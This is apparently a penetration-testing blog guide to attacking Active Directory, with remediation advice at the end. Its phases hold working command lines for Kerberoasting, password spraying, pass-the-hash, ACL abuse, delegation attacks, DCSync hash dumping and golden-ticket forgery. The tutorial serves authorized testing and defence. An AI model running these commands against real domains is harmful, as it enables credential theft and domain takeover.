June 2026 · 16 min read · Infrastructure Security

Active Directory Penetration Testing: Methodology, Tools & Techniques

Active Directory is the identity and access management backbone of most enterprise Windows environments. It controls who can log in, what they can access, and how services authenticate to each other. It is also one of the most reliably exploitable systems in corporate networks — because AD configurations accumulate technical debt faster than they get cleaned up.

This guide covers Active Directory penetration testing from initial reconnaissance through privilege escalation to domain compromise, including the specific attack paths that still work reliably in modern hardened environments.

Scope and Engagement Setup

An AD pentest is typically scoped as either an internal network assessment (attacker has LAN access but no domain credentials) or an assumed-breach assessment (attacker starts with a standard domain user account). Both are realistic threat models; the right choice depends on what the client wants to validate.

The most common starting scenario: an attacker has compromised a workstation through a phishing email and now has access as a low-privileged domain user. The question is how far they can get from there.

Phase 1: Enumeration

Domain Information Gathering

Before attempting any attack, map the environment. With any domain user account (even a freshly created guest account), you can query substantial AD information:

# Using BloodHound/SharpHound for comprehensive AD enumeration
SharpHound.exe --CollectionMethods All --ZipFileName bloodhound_data.zip

# PowerShell LDAP queries (no additional tools required)
# Get domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Enumerate all users
Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName, Description, PasswordLastSet, Enabled

# Find users with SPNs (Kerberoastable accounts)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# Find users with DONT_REQ_PREAUTH (AS-REP roastable)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

BloodHound / SharpHound

BloodHound is the de facto standard for AD attack path mapping. It queries AD for relationships between users, groups, computers, and ACLs, then visualizes attack paths from any starting point to domain admin. The most valuable queries:

• Shortest paths to Domain Admins — the core question of every AD pentest
• Kerberoastable users with paths to high-value targets — identifies low-hanging fruit with impact
• Find principals with DCSync rights — identifies who can dump credentials from DC
• Users with unconstrained delegation — often forgotten, frequently exploitable
• Computers where domain admins have sessions — targets for credential harvesting

Phase 2: Credential Attacks

Kerberoasting

Any authenticated domain user can request Kerberos service tickets for accounts with Service Principal Names (SPNs). These tickets are encrypted with the service account's NTLM hash — which can be cracked offline. Kerberoasting is one of the most reliable privilege escalation paths in AD environments because service accounts often have weak passwords and are rarely rotated.

# Using Impacket (from Linux)
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip 192.168.1.10 -request -outputfile kerberoast_hashes.txt

# Using Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat

# Crack with hashcat
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

AS-REP Roasting

Accounts with "Do not require Kerberos preauthentication" set will respond to authentication requests without verifying identity first. The AS-REP response is encrypted with the user's password hash — crackable offline, no credentials required to initiate.

# No credentials needed — enumerate and attack in one step
python3 GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt

# Crack
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Password Spraying Against AD

Spraying common passwords across all domain accounts. The critical constraint: AD lockout policy. Query the lockout threshold before spraying and stay comfortably under it.

# Check lockout policy first
net accounts /domain

# Spray with kerbrute (fast, uses Kerberos — no failed login events in Security log)
kerbrute passwordspray -d domain.local --dc 192.168.1.10 users.txt 'Winter2026!'

# CrackMapExec (SMB-based, generates login events)
crackmapexec smb 192.168.1.10 -u users.txt -p 'Winter2026!' --continue-on-success

Phase 3: Lateral Movement

Pass-the-Hash

Once you have an NTLM hash (from Mimikatz, a SAM dump, or any other credential extraction method), you can authenticate as that user without knowing the plaintext password. This is possible because Windows authentication protocols accept the hash directly.

# Pass-the-hash with Impacket wmiexec
python3 wmiexec.py -hashes :NTLM_HASH DOMAIN/Administrator@192.168.1.20

# CrackMapExec lateral movement
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --local-auth

# Rubeus (Kerberos-based, avoids NTLM monitoring)
Rubeus.exe asktgt /user:administrator /ntlm:HASH /ptt

Pass-the-Ticket

Kerberos tickets can be extracted from memory and reused on other machines. Unlike PtH, tickets are time-limited (typically 10 hours for TGTs) but won't trigger NTLM-specific detections.

# Extract tickets from memory with Mimikatz
privilege::debug
sekurlsa::tickets /export

# Inject a specific ticket
Rubeus.exe ptt /ticket:base64_ticket_here

# Or from a file
Rubeus.exe ptt /ticket:administrator.kirbi

Overpass-the-Hash / Pass-the-Key

Use an NTLM hash or AES key to request a Kerberos TGT — combining the stealth of Kerberos with the accessibility of hash-based attacks.

# Using Rubeus
Rubeus.exe asktgt /user:admin /aes256:AES256_KEY /ptt /opsec

# Using Impacket
python3 getTGT.py DOMAIN/admin -hashes :NTLM_HASH -dc-ip 192.168.1.10

Phase 4: Privilege Escalation

ACL Abuse

Active Directory access control lists define who can read, write, or modify AD objects. Misconfigured ACLs are endemic in enterprise environments — often the result of administrative shortcuts taken years ago and never reviewed. BloodHound's edge analysis reveals these automatically.

The most exploitable ACL rights:

# Abuse GenericAll on a user — reset their password
Set-ADAccountPassword -Identity target_user -NewPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force) -Reset

# Using PowerView for ACL manipulation
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker_user -Rights All -Domain domain.local

# Add self to privileged group
Add-ADGroupMember -Identity "Domain Admins" -Members attacker_user

Kerberos Delegation Attacks

Unconstrained Delegation: Computers with unconstrained delegation receive and store TGTs from any user authenticating to them. If an attacker compromises such a machine, they can extract any TGT stored in memory — including domain admin TGTs if a DA authenticates to that machine.

# Find computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, Description

# With Rubeus — monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap

# Extract cached TGTs with Mimikatz
sekurlsa::tickets /export

Constrained Delegation: More restrictive but still exploitable. Accounts configured for constrained delegation can request service tickets on behalf of any user to specific services. If you control such an account, you can impersonate domain admins to the configured services.

# Find accounts with constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

# Exploit with Rubeus
Rubeus.exe s4u /user:service_account /rc4:NTLM_HASH /impersonateuser:administrator /msdsspn:"cifs/dc01.domain.local" /ptt

Resource-Based Constrained Delegation (RBCD): Allows the resource (computer) to specify which accounts can delegate to it. If an attacker has write access to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, they can set up delegation and impersonate domain admins to that machine.

DCSync Attack

Once you have an account with DCSync rights (DS-Replication-Get-Changes-All), you can replicate the entire NTDS.dit — extracting every user's NTLM hash and Kerberos keys from the domain.

# Mimikatz DCSync — dump all hashes
lsadump::dcsync /domain:domain.local /all /csv

# Dump specific user
lsadump::dcsync /domain:domain.local /user:krbtgt

# From Linux with Impacket
python3 secretsdump.py DOMAIN/user:password@192.168.1.10 -just-dc-ntlm

Phase 5: Domain Persistence

Golden Ticket

The krbtgt account hash allows creation of arbitrary Kerberos tickets with any validity period and group membership. A golden ticket generated from the krbtgt hash grants persistent domain admin access — surviving password resets on regular accounts — until the krbtgt password is rotated twice.

# Dump krbtgt hash first (requires domain admin)
lsadump::dcsync /domain:domain.local /user:krbtgt

# Create golden ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /krbtgt:KRBTGT_HASH /ticket:golden.kirbi /ptt

Silver Ticket

A silver ticket uses the service account's hash (not krbtgt) to forge tickets for a specific service. More limited than golden tickets but harder to detect — doesn't require contacting the KDC.

# Forge a CIFS ticket for DC lateral movement
kerberos::golden /user:Administrator /domain:domain.local /sid:DOMAIN_SID /target:dc01.domain.local /service:cifs /rc4:SERVICE_ACCOUNT_HASH /ticket:silver.kirbi /ptt

Common Misconfigurations to Check

• Default domain functional level — older levels disable modern security features
• LAPS not deployed — identical local admin passwords across all workstations
• Password not required flag — accounts with empty passwords
• AdminSDHolder misconfigurations — protected group ACLs propagated incorrectly
• MS14-025 / Group Policy Preferences passwords — passwords stored in SYSVOL XML files
• NTLM relay opportunities — SMB signing not enforced, LLMNR/NBT-NS enabled
• Print Spooler service running on DCs — enables PrinterBug/SpoolSample for coercion attacks
• Excessive AD Recycle Bin access — can reveal deleted objects with credentials
• Tier 0 accounts logging into Tier 1/2 systems — credential exposure on non-DC systems

Detection and Evasion Awareness

Modern detection capabilities your client likely has (or should have):

Remediation Priorities

After an AD pentest, remediation should be prioritized by attack chain severity. The highest-impact fixes that most environments can implement without business disruption:

1. Enable LAPS — eliminates lateral movement via shared local admin passwords, one of the most common attack paths
2. Disable LLMNR and NBT-NS — eliminates NTLM relay and responder attacks with no user impact
3. Enforce SMB signing — required on all DCs (default), recommended on workstations
4. Rotate krbtgt password twice — invalidates any golden tickets that may have been created
5. Audit Kerberoastable accounts — enforce strong, unique passwords on all service accounts with SPNs; migrate to gMSAs where possible
6. Review and clean ACLs — run BloodHound and remove any paths to DA that don't reflect business requirements
7. Implement tiered administration — prevent DA credentials from appearing on workstations and member servers
8. Enable Protected Users group — applies additional Kerberos security to privileged accounts

Active Directory vs. Azure AD / Entra ID

Many organisations now run hybrid environments with both on-premises AD and Azure AD (now Entra ID) synchronized via Azure AD Connect. Misconfigured sync can create privilege escalation paths between environments — a compromised cloud account with write-back enabled can result in on-premises compromise, and vice versa.

Key hybrid-specific checks:

• Azure AD Connect service account permissions on on-prem AD
• Password Hash Sync (PHS) vs Pass-Through Authentication (PTA) — PHS stores hashes in Azure
• Seamless SSO account (AZUREADSSOACC) — Kerberos attack surface
• Hybrid join attack paths in BloodHound
• Conditional Access policy gaps that allow legacy authentication protocols

Summary

Active Directory penetration testing requires systematic enumeration, patience, and solid understanding of Kerberos mechanics. The attack paths that consistently produce domain compromise haven't changed dramatically in years — Kerberoasting, ACL abuse, and delegation misconfigurations remain reliable because fixing them requires sustained organisational effort, not just a patch.

The value of an AD pentest is in demonstrating attack paths that actually exist in your environment, not in running every known technique. BloodHound-driven path analysis combined with targeted exploitation of the shortest paths to DA is more useful than an exhaustive technique checklist.